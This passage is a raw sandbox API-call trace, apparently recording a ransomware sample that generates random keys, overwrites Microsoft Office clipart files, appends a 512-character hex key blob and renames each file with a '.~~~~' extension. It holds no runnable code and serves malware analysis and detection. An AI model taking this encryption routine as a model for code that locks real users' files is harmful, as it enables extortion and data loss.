	[0091.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.995] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.995] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.995] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.996] CloseHandle (hObject=0x128) returned 1
	[0091.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.~~~~")) returned 1
	[0091.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.997] GetLastError () returned 0x0
	[0091.997] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.998] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.998] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.999] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21198875292) returned 1
	[0091.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa09c1e50, dwHighDateTime=0x1d60e1e)) 
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3876b8
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3876b8 | out: hHeap=0x300000) returned 1
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389a98
	[0091.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.999] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.000] GetLastError () returned 0x0
	[0092.000] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.000] GetLastError () returned 0x0
	[0092.002] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe8ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.002] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1746, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1746, lpOverlapped=0x0) returned 1
	[0092.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.002] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.002] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.003] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.003] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.003] CloseHandle (hObject=0x128) returned 1
	[0092.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.003] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.~~~~")) returned 1
	[0092.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.004] GetLastError () returned 0x0
	[0092.004] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0092.005] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0092.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.005] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21199559006) returned 1
	[0092.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa09e7fb0, dwHighDateTime=0x1d60e1e)) 
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3876f0
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3876f0 | out: hHeap=0x300000) returned 1
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389b30
	[0092.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.006] GetLastError () returned 0x0
	[0092.006] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.006] GetLastError () returned 0x0
	[0092.009] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe380, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.009] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c80, lpOverlapped=0x0) returned 1
	[0092.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.009] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.009] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.010] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.010] CloseHandle (hObject=0x128) returned 1
	[0092.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.~~~~")) returned 1
	[0092.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.011] GetLastError () returned 0x0
	[0092.018] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.019] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.019] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.019] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21200917222) returned 1
	[0092.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0a0e110, dwHighDateTime=0x1d60e1e)) 
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3876b8
	[0092.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3876b8 | out: hHeap=0x300000) returned 1
	[0092.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389bc8
	[0092.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.020] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.020] GetLastError () returned 0x0
	[0092.020] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.020] GetLastError () returned 0x0
	[0092.056] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffeada, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.214] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1526, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1526, lpOverlapped=0x0) returned 1
	[0092.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.222] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.232] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.232] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.232] CloseHandle (hObject=0x124) returned 1
	[0092.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.~~~~")) returned 1
	[0092.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.250] GetLastError () returned 0x0
	[0092.250] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.252] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.252] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21224231746) returned 1
	[0092.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0c23450, dwHighDateTime=0x1d60e1e)) 
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387a38
	[0092.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387a38 | out: hHeap=0x300000) returned 1
	[0092.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389c60
	[0092.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.253] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.253] GetLastError () returned 0x0
	[0092.253] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.253] GetLastError () returned 0x0
	[0092.255] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe3f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.255] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1c0a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c0a, lpOverlapped=0x0) returned 1
	[0092.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.256] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.256] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.256] CloseHandle (hObject=0x124) returned 1
	[0092.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.~~~~")) returned 1
	[0092.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.257] GetLastError () returned 0x0
	[0092.258] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.259] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.259] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.259] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21224950980) returned 1
	[0092.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0c23450, dwHighDateTime=0x1d60e1e)) 
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387a70
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387a70 | out: hHeap=0x300000) returned 1
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a4b0
	[0092.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.260] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.260] GetLastError () returned 0x0
	[0092.260] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.260] GetLastError () returned 0x0
	[0092.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffb7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
